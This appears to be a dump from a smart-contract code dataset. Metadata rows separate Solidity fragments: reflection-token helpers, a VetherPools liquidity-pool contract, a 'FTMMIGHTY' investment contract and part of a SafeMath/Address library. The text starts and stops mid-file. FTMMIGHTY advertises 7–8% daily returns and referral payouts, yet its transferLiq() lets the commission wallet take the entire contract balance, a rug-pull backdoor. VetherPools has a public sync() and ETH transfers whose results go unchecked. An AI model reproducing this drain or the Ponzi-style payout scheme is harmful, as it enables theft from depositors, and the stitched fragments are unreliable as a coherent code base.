function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
| 33,222 | 308 |
f656ceb2fe8d0c0884a44acf3add3c05e30a414013449502d544dd515e7cb22e
| 20,492 |
.sol
|
Solidity
| false |
593908510
|
SKKU-SecLab/SmartMark
|
fdf0675d2f959715d6f822351544c6bc91a5bdd4
|
dataset/Solidity_codes_9324/0xa806af507d0b05714cd08eaa0039b4a829016099.sol
| 5,506 | 20,368 |
pragma solidity ^0.6.11;
pragma experimental ABIEncoderV2;
interface ERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address, uint) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address, uint) external returns (bool);
function transferFrom(address, address, uint) external returns (bool);
}
interface POOLS {
function stakeForMember(uint inputVether, uint inputAsset, address pool, address member) external payable returns (uint units);
}
library SafeMath {
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
require(b > 0, "SafeMath: division by zero");
uint c = a / b;
return c;
}
}
contract VetherPools {
using SafeMath for uint;
address public VETHER;
uint public one = 10**18;
uint public ETHCAP = 10 * one;
uint public DAY = 86400;
uint public DAYCAP = 30*DAY;
address[] public arrayPools;
uint public poolCount;
mapping(address => address[]) public mapPoolStakers;
mapping(address => PoolData) public poolData;
struct PoolData {
bool listed;
uint genesis;
uint vether;
uint asset;
uint vetherStaked;
uint assetStaked;
uint stakerCount;
uint poolUnits;
uint fees;
uint volume;
uint txCount;
}
address[] public arrayMembers;
uint public memberCount;
mapping(address => MemberData) public memberData;
struct MemberData {
address[] arrayPools;
uint poolCount;
mapping(address => StakeData) stakeData;
}
struct StakeData {
uint vether;
uint asset;
uint stakeUnits;
}
event Staked(address pool, address member, uint inputAsset, uint inputVether, uint unitsIssued);
event Unstaked(address pool, address member, uint outputAsset, uint outputVether, uint unitsClaimed);
event Swapped(address assetFrom, address assetTo, uint inputAmount, uint transferAmount, uint outPutAmount, uint fee, address recipient);
constructor () public payable {
VETHER = 0x4Ba6dDd7b89ed838FEd25d208D4f644106E34279;
}
receive() external payable {
buyAsset(address(0), msg.value);
}
function stake(uint inputVether, uint inputAsset, address pool) public payable returns (uint units) {
units = stakeForMember(inputVether, inputAsset, pool, msg.sender);
return units;
}
function stakeForMember(uint inputVether, uint inputAsset, address pool, address member) public payable returns (uint units) {
require(pool == address(0), "Must be Eth");
if (!poolData[pool].listed) {
require((inputAsset > 0 && inputVether > 0), "Must get both assets for new pool");
_createNewPool(pool);
}
require((poolData[pool].asset + inputAsset <= ETHCAP), "Must not exceed ETH CAP");
uint actualInputAsset = _handleTransferIn(pool, inputAsset);
uint actualInputVether = _handleTransferIn(VETHER, inputVether);
units = _stake(actualInputVether, actualInputAsset, pool, member);
return units;
}
function _createNewPool(address _pool) internal {
arrayPools.push(_pool);
poolCount += 1;
poolData[_pool].listed = true;
poolData[_pool].genesis = now;
}
function _stake(uint _vether, uint _asset, address _pool, address _member) internal returns (uint _units) {
uint _V = poolData[_pool].vether.add(_vether);
uint _A = poolData[_pool].asset.add(_asset);
_units = calcStakeUnits(_asset, _A, _vether, _V);
_incrementPoolBalances(_units, _vether, _asset, _pool);
_addDataForMember(_member, _units, _vether, _asset, _pool);
emit Staked(_pool, _member, _asset, _vether, _units);
return _units;
}
function unstake(uint basisPoints, address pool) public returns (bool success) {
_unstakeToExact(msg.sender, basisPoints, pool);
return true;
}
function _unstakeToExact(address payable member, uint basisPoints, address pool) internal returns (bool success) {
require(pool == address(0), "Must be Eth");
require(poolData[pool].listed, "Must be listed");
require((basisPoints > 0 && basisPoints <= 10000), "Must be valid BasisPoints");
uint _units = calcPart(basisPoints, memberData[member].stakeData[pool].stakeUnits);
_unstake(msg.sender, _units, pool);
return true;
}
function unstakeExact(uint units, address pool) public returns (bool success) {
_unstake(msg.sender, units, pool);
return true;
}
function _unstake(address payable member, uint units, address pool) internal returns (bool success) {
require(pool == address(0), "Must be Eth");
require(memberData[msg.sender].stakeData[pool].stakeUnits >= units);
uint _outputVether = calcShare(units, poolData[pool].poolUnits, poolData[pool].vether);
uint _outputAsset = calcShare(units, poolData[pool].poolUnits, poolData[pool].asset);
_handleUnstake(units, _outputVether, _outputAsset, member, pool);
return true;
}
function unstakeAsymmetric(uint basisPoints, address pool, bool toVether) public returns (uint outputAmount){
require(pool == address(0), "Must be Eth");
uint _units = calcPart(basisPoints, memberData[msg.sender].stakeData[pool].stakeUnits);
outputAmount = unstakeExactAsymmetric(_units, pool, toVether);
return outputAmount;
}
function unstakeExactAsymmetric(uint units, address pool, bool toVether) public returns (uint outputAmount){
require(pool == address(0), "Must be Eth");
require((memberData[msg.sender].stakeData[pool].stakeUnits >= units), "Must own the units");
uint poolUnits = poolData[pool].poolUnits;
require(units < poolUnits, "Must not be last staker");
uint _outputVether; uint _outputAsset;
if(toVether){
_outputVether = calcAsymmetricShare(units, poolUnits, poolData[pool].vether);
_outputAsset = 0;
outputAmount = _outputVether;
} else {
_outputVether = 0;
_outputAsset = calcAsymmetricShare(units, poolUnits, poolData[pool].asset);
outputAmount = _outputAsset;
}
_handleUnstake(units, _outputVether, _outputAsset, msg.sender, pool);
return outputAmount;
}
function _handleUnstake(uint _units, uint _outputVether, uint _outputAsset, address payable _member, address _pool) internal {
_decrementPoolBalances(_units, _outputVether, _outputAsset, _pool);
_removeDataForMember(_member, _units, _pool);
emit Unstaked(_pool, _member, _outputAsset, _outputVether, _units);
_handleTransferOut(_pool, _outputAsset, _member);
_handleTransferOut(VETHER, _outputVether, _member);
}
function upgrade(address payable newContract) public {
address pool = address(0);
uint _units = memberData[msg.sender].stakeData[pool].stakeUnits;
uint _outputVether = calcShare(_units, poolData[pool].poolUnits, poolData[pool].vether);
uint _outputAsset = calcShare(_units, poolData[pool].poolUnits, poolData[pool].asset);
_decrementPoolBalances(_units, _outputVether, _outputAsset, pool);
_removeDataForMember(msg.sender, _units, pool);
emit Unstaked(pool, msg.sender, _outputAsset, _outputVether, _units);
ERC20(VETHER).approve(newContract, _outputVether);
POOLS(newContract).stakeForMember{value:_outputAsset}(_outputVether, _outputAsset, pool, msg.sender);
}
function unstakeForMember(address payable member, address pool) public returns (bool success) {
require(now > poolData[pool].genesis + DAYCAP, "Must be after Day Cap");
_unstakeToExact(member, 10000, pool);
return true;
}
function buyAsset(address pool, uint amount) public payable returns (uint outputAmount) {
require(pool == address(0), "Must be Eth");
require(now < poolData[pool].genesis + DAYCAP, "Must not be after Day Cap");
uint actualAmount = _handleTransferIn(VETHER, amount);
outputAmount = _swapVetherToAsset(actualAmount, address(0));
_handleTransferOut(address(0), outputAmount, msg.sender);
return outputAmount;
}
function sellAsset(address pool, uint amount) public payable returns (uint outputAmount) {
require(pool == address(0), "Must be Eth");
require(now < poolData[pool].genesis + DAYCAP, "Must not be after Day Cap");
uint actualAmount = _handleTransferIn(address(0), amount);
outputAmount = _swapAssetToVether(actualAmount, address(0));
_handleTransferOut(VETHER, outputAmount, msg.sender);
return outputAmount;
}
function _swapVetherToAsset(uint _x, address _pool) internal returns (uint _y){
uint _X = poolData[_pool].vether;
uint _Y = poolData[_pool].asset;
_y = calcSwapOutput(_x, _X, _Y);
uint _fee = calcSwapFee(_x, _X, _Y);
poolData[_pool].vether = poolData[_pool].vether.add(_x);
poolData[_pool].asset = poolData[_pool].asset.sub(_y);
_updatePoolMetrics(_y+_fee, _fee, _pool, false);
emit Swapped(VETHER, _pool, _x, 0, _y, _fee, msg.sender);
return _y;
}
function _swapAssetToVether(uint _x, address _pool) internal returns (uint _y){
uint _X = poolData[_pool].asset;
uint _Y = poolData[_pool].vether;
_y = calcSwapOutput(_x, _X, _Y);
uint _fee = calcSwapFee(_x, _X, _Y);
poolData[_pool].asset = poolData[_pool].asset.add(_x);
poolData[_pool].vether = poolData[_pool].vether.sub(_y);
_updatePoolMetrics(_y+_fee, _fee, _pool, true);
emit Swapped(_pool, VETHER, _x, 0, _y, _fee, msg.sender);
return _y;
}
function _incrementPoolBalances(uint _units, uint _vether, uint _asset, address _pool) internal {
poolData[_pool].poolUnits = poolData[_pool].poolUnits.add(_units);
poolData[_pool].vether = poolData[_pool].vether.add(_vether);
poolData[_pool].asset = poolData[_pool].asset.add(_asset);
poolData[_pool].vetherStaked = poolData[_pool].vetherStaked.add(_vether);
poolData[_pool].assetStaked = poolData[_pool].assetStaked.add(_asset);
}
function _decrementPoolBalances(uint _units, uint _vether, uint _asset, address _pool) internal {
poolData[_pool].vether = poolData[_pool].vether.sub(_vether);
poolData[_pool].asset = poolData[_pool].asset.sub(_asset);
uint _unstakedVether = calcShare(_units, poolData[_pool].poolUnits, poolData[_pool].vetherStaked);
uint _unstakedAsset = calcShare(_units, poolData[_pool].poolUnits, poolData[_pool].assetStaked);
poolData[_pool].vetherStaked = poolData[_pool].vetherStaked.sub(_unstakedVether);
poolData[_pool].assetStaked = poolData[_pool].assetStaked.sub(_unstakedAsset);
poolData[_pool].poolUnits = poolData[_pool].poolUnits.sub(_units);
}
function _addDataForMember(address _member, uint _units, uint _vether, uint _asset, address _pool) internal {
if(memberData[_member].poolCount == 0){
memberCount += 1;
arrayMembers.push(_member);
}
if(memberData[_member].stakeData[_pool].stakeUnits == 0){
mapPoolStakers[_pool].push(_member);
memberData[_member].arrayPools.push(_pool);
memberData[_member].poolCount +=1;
poolData[_pool].stakerCount += 1;
}
memberData[_member].stakeData[_pool].stakeUnits = memberData[_member].stakeData[_pool].stakeUnits.add(_units);
memberData[_member].stakeData[_pool].vether = memberData[_member].stakeData[_pool].vether.add(_vether);
memberData[_member].stakeData[_pool].asset = memberData[_member].stakeData[_pool].asset.add(_asset);
}
function _removeDataForMember(address _member, uint _units, address _pool) internal{
uint stakeUnits = memberData[_member].stakeData[_pool].stakeUnits;
uint _vether = calcShare(_units, stakeUnits, memberData[_member].stakeData[_pool].vether);
uint _asset = calcShare(_units, stakeUnits, memberData[_member].stakeData[_pool].asset);
memberData[_member].stakeData[_pool].stakeUnits = memberData[_member].stakeData[_pool].stakeUnits.sub(_units);
memberData[_member].stakeData[_pool].vether = memberData[_member].stakeData[_pool].vether.sub(_vether);
memberData[_member].stakeData[_pool].asset = memberData[_member].stakeData[_pool].asset.sub(_asset);
if(memberData[_member].stakeData[_pool].stakeUnits == 0){
poolData[_pool].stakerCount = poolData[_pool].stakerCount.sub(1);
}
}
function _updatePoolMetrics(uint _tx, uint _fee, address _pool, bool _toVether) internal {
poolData[_pool].txCount += 1;
uint _volume = poolData[_pool].volume;
uint _fees = poolData[_pool].fees;
if(_toVether){
poolData[_pool].volume = _tx.add(_volume);
poolData[_pool].fees = _fee.add(_fees);
} else {
uint _txVether = calcValueInVether(_tx, _pool);
uint _feeVether = calcValueInVether(_fee, _pool);
poolData[_pool].volume = _volume.add(_txVether);
poolData[_pool].fees = _fees.add(_feeVether);
}
}
function _handleTransferIn(address _asset, uint _amount) internal returns(uint actual){
if(_amount > 0) {
if(_asset == address(0)){
require((_amount == msg.value), "Must get Eth");
actual = _amount;
} else {
uint startBal = ERC20(_asset).balanceOf(address(this));
ERC20(_asset).transferFrom(msg.sender, address(this), _amount);
actual = ERC20(_asset).balanceOf(address(this)).sub(startBal);
}
}
}
function _handleTransferOut(address _asset, uint _amount, address payable _recipient) internal {
if(_amount > 0) {
if (_asset == address(0)) {
_recipient.call{value:_amount}("");
} else {
ERC20(_asset).transfer(_recipient, _amount);
}
}
}
function sync(address pool) public {
if (pool == address(0)) {
poolData[pool].asset = address(this).balance;
} else {
poolData[pool].asset = ERC20(pool).balanceOf(address(this));
}
}
function getStakerUnits(address member, address pool) public view returns(uint stakerUnits){
return (memberData[member].stakeData[pool].stakeUnits);
}
function getStakerShareVether(address member, address pool) public view returns(uint vether){
uint _units = memberData[member].stakeData[pool].stakeUnits;
vether = calcShare(_units, poolData[pool].poolUnits, poolData[pool].vether);
return vether;
}
function getStakerShareAsset(address member, address pool) public view returns(uint asset){
uint _units = memberData[member].stakeData[pool].stakeUnits;
asset = calcShare(_units, poolData[pool].poolUnits, poolData[pool].asset);
return asset;
}
function getPoolStaker(address pool, uint index) public view returns(address staker){
return(mapPoolStakers[pool][index]);
}
function getMemberPool(address member, uint index) public view returns(address staker){
return(memberData[member].arrayPools[index]);
}
function getMemberPoolCount(address member) public view returns(uint){
return(memberData[member].poolCount);
}
function getMemberStakeData(address member, address pool) public view returns(StakeData memory){
return(memberData[member].stakeData[pool]);
}
function getPoolROI(address pool) public view returns (uint roi){
uint _assetStakedInVether = calcValueInVether(poolData[pool].assetStaked, pool);
uint _vetherStart = poolData[pool].vetherStaked.add(_assetStakedInVether);
uint _assetInVether = calcValueInVether(poolData[pool].asset, pool);
uint _vetherEnd = poolData[pool].vether.add(_assetInVether);
if (_vetherStart == 0){
roi = 0;
} else {
roi = (_vetherEnd.mul(10000)).div(_vetherStart);
}
return roi;
}
function getMemberROI(address member, address pool) public view returns (uint roi){
uint _assetStakedInVether = calcValueInVether(memberData[member].stakeData[pool].asset, pool);
uint _vetherStart = memberData[member].stakeData[pool].vether.add(_assetStakedInVether);
uint _stakerUnits = memberData[msg.sender].stakeData[pool].stakeUnits;
uint _memberVether = calcShare(_stakerUnits, poolData[pool].poolUnits, poolData[pool].vether);
uint _memberAsset = calcShare(_stakerUnits, poolData[pool].poolUnits, poolData[pool].asset);
uint _assetInVether = calcValueInVether(_memberAsset, pool);
uint _vetherEnd = _memberVether.add(_assetInVether);
if (_vetherStart == 0){
roi = 0;
} else {
roi = (_vetherEnd.mul(10000)).div(_vetherStart);
}
return roi;
}
function calcValueInVether(uint amount, address pool) public view returns (uint price){
uint _asset = poolData[pool].asset;
uint _vether = poolData[pool].vether;
return (amount.mul(_vether)).div(_asset);
}
function calcValueInAsset(uint amount, address pool) public view returns (uint price){
uint _asset = poolData[pool].asset;
uint _vether = poolData[pool].vether;
return (amount.mul(_asset)).div(_vether);
}
function calcAssetPPinVether(uint amount, address pool) public view returns (uint _output){
uint _asset = poolData[pool].asset;
uint _vether = poolData[pool].vether;
return calcSwapOutput(amount, _asset, _vether);
}
function calcVetherPPinAsset(uint amount, address pool) public view returns (uint _output){
uint _asset = poolData[pool].asset;
uint _vether = poolData[pool].vether;
return calcSwapOutput(amount, _vether, _asset);
}
function calcPart(uint bp, uint total) public pure returns (uint part){
require((bp <= 10000) && (bp > 0));
return calcShare(bp, 10000, total);
}
function calcShare(uint part, uint total, uint amount) public pure returns (uint share){
return(amount.mul(part)).div(total);
}
function calcSwapOutput(uint x, uint X, uint Y) public pure returns (uint output){
uint numerator = x.mul(X.mul(Y));
uint denominator = (x.add(X)).mul(x.add(X));
return numerator.div(denominator);
}
function calcSwapFee(uint x, uint X, uint Y) public pure returns (uint output){
uint numerator = x.mul(x.mul(Y));
uint denominator = (x.add(X)).mul(x.add(X));
return numerator.div(denominator);
}
function calcStakeUnits(uint a, uint A, uint v, uint V) public pure returns (uint units){
uint part1 = V.add(A);
uint part2 = v.mul(A);
uint part3 = V.mul(a);
uint numerator = part1.mul((part2.add(part3)));
uint part4 = 4 * (V.mul(A));
return numerator.div(part4);
}
function calcAsymmetricShare(uint s, uint T, uint A) public pure returns (uint share){
uint part1 = s.mul(A);
uint part2 = T.mul(T).mul(2);
uint part3 = T.mul(s).mul(2);
uint part4 = s.mul(s);
uint numerator = part1.mul(part2.sub(part3).add(part4));
uint part5 = T.mul(T).mul(T);
return numerator.div(part5);
}
}
| 274,918 | 309 |
37f1d5c52d6811d7097d4e1042e40696daef5a23c37e1f89fe82d9aee2c43b03
| 12,288 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/11/11ce6cb9333f1c8106ad742483957bed7c4e81f5_FTMMIGHTY.sol
| 3,761 | 11,585 |
pragma solidity ^0.5.8;
contract FTMMIGHTY {
using SafeMath for uint256;
using SafeMath for uint8;
uint256 constant public INVEST_MIN_AMOUNT = 5 ether; // 5 FTM
uint256[] public REFERRAL_PERCENTS = [50, 30, 20];
uint256 constant public PROJECT_FEE = 80;
uint256 constant public DEVELOPER_FEE = 20;
uint256 constant public PERCENT_STEP = 5;
uint256 constant public PERCENTS_DIVIDER= 1000;
uint256 constant public TIME_STEP = 1 days;
uint256 constant public MAX_HOLD_PERCENT = 15;
uint256 WITHDRAW_FEE_1 = 50; //5%
uint256 WITHDRAW_FEE_2 = 100; //10%
uint256 public totalStaked;
uint256 public totalRefBonus;
uint256 public totalUsers;
struct Plan {
uint256 time;
uint256 percent;
}
Plan[] internal plans;
struct Deposit {
uint8 plan;
uint256 percent;
uint256 amount;
uint256 profit;
uint256 start;
uint256 finish;
}
struct User {
Deposit[] deposits;
uint256 checkpoint;
uint256 holdBonusCheckpoint;
address payable referrer;
uint256 referrals;
uint256 totalBonus;
uint256 withdrawn;
}
mapping (address => User) internal users;
uint256 public startUNIX;
address payable private commissionWallet;
address payable private developerWallet;
event Newbie(address user);
event NewDeposit(address indexed user, uint8 plan, uint256 percent, uint256 amount, uint256 profit, uint256 start, uint256 finish);
event Withdrawn(address indexed user, uint256 amount);
event RefBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount);
event FundTransderedLiq(uint256 totalAmount);
constructor(address payable wallet, address payable _developer) public {
require(!isContract(wallet));
commissionWallet = wallet;
developerWallet = _developer;
startUNIX = block.timestamp.add(365 days);
plans.push(Plan(14, 80)); // 8% per day for 14 days
plans.push(Plan(21, 75)); // 7.5% per day for 21 days
plans.push(Plan(28, 70)); // 7% per day for 28 days
plans.push(Plan(14, 80)); // 8% per day for 14 days (at the end, compounding)
plans.push(Plan(21, 75)); // 7.5% per day for 21 days (at the end, compounding)
plans.push(Plan(28, 70)); // 7% per day for 28 days (at the end, compounding)
}
function launch() public {
require(msg.sender == developerWallet);
startUNIX = block.timestamp;
}
function invest(address payable referrer,uint8 plan) public payable {
_invest(referrer, plan, msg.sender, msg.value);
}
function _invest(address payable referrer, uint8 plan, address payable sender, uint256 value) private {
require(value >= INVEST_MIN_AMOUNT);
require(plan < 6, "Invalid plan");
require(startUNIX < block.timestamp, "contract hasn`t started yet");
uint256 fee = value.mul(PROJECT_FEE).div(PERCENTS_DIVIDER);
commissionWallet.transfer(fee);
uint256 developerFee = value.mul(DEVELOPER_FEE).div(PERCENTS_DIVIDER);
developerWallet.transfer(developerFee);
User storage user = users[sender];
if (user.referrer == address(0)) {
if (users[referrer].deposits.length > 0 && referrer != sender) {
user.referrer = referrer;
}
address upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
users[upline].referrals = users[upline].referrals.add(1);
upline = users[upline].referrer;
} else break;
}
}
if (user.referrer != address(0)) {
uint256 _refBonus = 0;
address payable upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
uint256 amount = value.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
users[upline].totalBonus = users[upline].totalBonus.add(amount);
upline.transfer(amount);
_refBonus = _refBonus.add(amount);
emit RefBonus(upline, sender, i, amount);
upline = users[upline].referrer;
} else break;
}
totalRefBonus = totalRefBonus.add(_refBonus);
}
if (user.deposits.length == 0) {
user.checkpoint = block.timestamp;
user.holdBonusCheckpoint = block.timestamp;
emit Newbie(sender);
}
(uint256 percent, uint256 profit, uint256 finish) = getResult(plan, value);
user.deposits.push(Deposit(plan, percent, value, profit, block.timestamp, finish));
totalStaked = totalStaked.add(value);
totalUsers = totalUsers.add(1);
emit NewDeposit(sender, plan, percent, value, profit, block.timestamp, finish);
}
function withdraw() public {
User storage user = users[msg.sender];
uint256 totalAmount = getUserDividends(msg.sender);
require(totalAmount > 0, "User has no dividends");
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.checkpoint = block.timestamp;
user.holdBonusCheckpoint = block.timestamp;
user.withdrawn = user.withdrawn.add(totalAmount);
msg.sender.transfer(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
function getContractBalance() public view returns (uint256) {
return address(this).balance;
}
function getPlanInfo(uint8 plan) public view returns(uint256 time, uint256 percent) {
time = plans[plan].time;
percent = plans[plan].percent;
}
function getPercent(uint8 plan) public view returns (uint256) {
return plans[plan].percent.add(PERCENT_STEP.mul(block.timestamp.sub(startUNIX)).div(TIME_STEP));
}
function getResult(uint8 plan, uint256 deposit) public view returns (uint256 percent, uint256 profit, uint256 finish) {
percent = getPercent(plan);
if (plan < 3) {
profit = deposit.mul(percent).div(PERCENTS_DIVIDER).mul(plans[plan].time);
} else if (plan < 6) {
for (uint256 i = 0; i < plans[plan].time; i++) {
profit = profit.add((deposit.add(profit)).mul(percent).div(PERCENTS_DIVIDER));
}
}
finish = block.timestamp.add(plans[plan].time.mul(TIME_STEP));
}
function getUserPercentRate(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint256 timeMultiplier = block.timestamp.sub(user.holdBonusCheckpoint).div(TIME_STEP); // +0.1% per day
if (timeMultiplier > MAX_HOLD_PERCENT) {
timeMultiplier = MAX_HOLD_PERCENT;
}
return timeMultiplier;
}
function getUserDividends(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 totalAmount;
uint256 holdBonus = getUserPercentRate(userAddress);
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.checkpoint < user.deposits[i].finish) {
if (user.deposits[i].plan < 3) {
uint256 share = user.deposits[i].amount.mul(user.deposits[i].percent.add(holdBonus)).div(PERCENTS_DIVIDER);
uint256 from = user.deposits[i].start > user.checkpoint ? user.deposits[i].start : user.checkpoint;
uint256 to = user.deposits[i].finish < block.timestamp ? user.deposits[i].finish : block.timestamp;
if (from < to) {
uint256 _dividends = share.mul(to.sub(from)).div(TIME_STEP);
uint256 _dividendsWithFee = _dividends.sub(_dividends.mul(WITHDRAW_FEE_1).div(PERCENTS_DIVIDER));
totalAmount = totalAmount.add(_dividendsWithFee);
}
} else {
if(block.timestamp > user.deposits[i].finish) {
uint256 _profit = user.deposits[i].profit;
uint256 _profitWithFee = _profit.sub(_profit.mul(WITHDRAW_FEE_2).div(PERCENTS_DIVIDER));
totalAmount = totalAmount.add(_profitWithFee);
}
}
}
}
return totalAmount;
}
function getUserAvailable(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 totalAmount;
uint256 holdBonus = getUserPercentRate(userAddress);
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.checkpoint < user.deposits[i].finish) {
if (user.deposits[i].plan < 3) {
uint256 share = user.deposits[i].amount.mul(user.deposits[i].percent.add(holdBonus)).div(PERCENTS_DIVIDER);
uint256 from = user.deposits[i].start > user.checkpoint ? user.deposits[i].start : user.checkpoint;
uint256 to = user.deposits[i].finish < block.timestamp ? user.deposits[i].finish : block.timestamp;
if (from < to) {
totalAmount = totalAmount.add(share.mul(to.sub(from)).div(TIME_STEP));
}
} else {
if(block.timestamp > user.deposits[i].finish) {
totalAmount = totalAmount.add(user.deposits[i].profit);
}
}
}
}
return totalAmount;
}
function transferLiq() public {
require(msg.sender == commissionWallet, "transferFLiq() can only be executed by creator of this contract.");
uint256 smartContractBalance = address(this).balance;
commissionWallet.transfer(smartContractBalance);
emit FundTransderedLiq(smartContractBalance);
}
function getContractInfo() public view returns(uint256, uint256, uint256) {
return(totalStaked, totalRefBonus, totalUsers);
}
function getUserWithdrawn(address userAddress) public view returns(uint256) {
return users[userAddress].withdrawn;
}
function getUserCheckpoint(address userAddress) public view returns(uint256) {
return users[userAddress].checkpoint;
}
function getUserReferrer(address userAddress) public view returns(address) {
return users[userAddress].referrer;
}
function getUserDownlineCount(address userAddress) public view returns(uint256) {
return (users[userAddress].referrals);
}
function getUserReferralTotalBonus(address userAddress) public view returns(uint256) {
return users[userAddress].totalBonus;
}
function getUserAmountOfDeposits(address userAddress) public view returns(uint256) {
return users[userAddress].deposits.length;
}
function getUserTotalDeposits(address userAddress) public view returns(uint256 amount) {
for (uint256 i = 0; i < users[userAddress].deposits.length; i++) {
amount = amount.add(users[userAddress].deposits[i].amount);
}
}
function getUserTotalWithdrawn(address userAddress) public view returns(uint256 amount) {
}
function getUserDepositInfo(address userAddress, uint256 index) public view returns(uint8 plan, uint256 percent, uint256 amount, uint256 profit, uint256 start, uint256 finish) {
User storage user = users[userAddress];
plan = user.deposits[index].plan;
percent = user.deposits[index].percent;
amount = user.deposits[index].amount;
profit = user.deposits[index].profit;
start = user.deposits[index].start;
finish = user.deposits[index].finish;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
| 323,743 | 310 |
0a24c5b15b3478f5bb28978fdbfc5dd1c822dba8f498345f1ebfa48adbf0e44c
| 29,932 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xb1706Ee6064151230b091c976B949fB33E5f33F7/contract.sol
| 3,437 | 13,731 |
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/SushiToken.sol
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
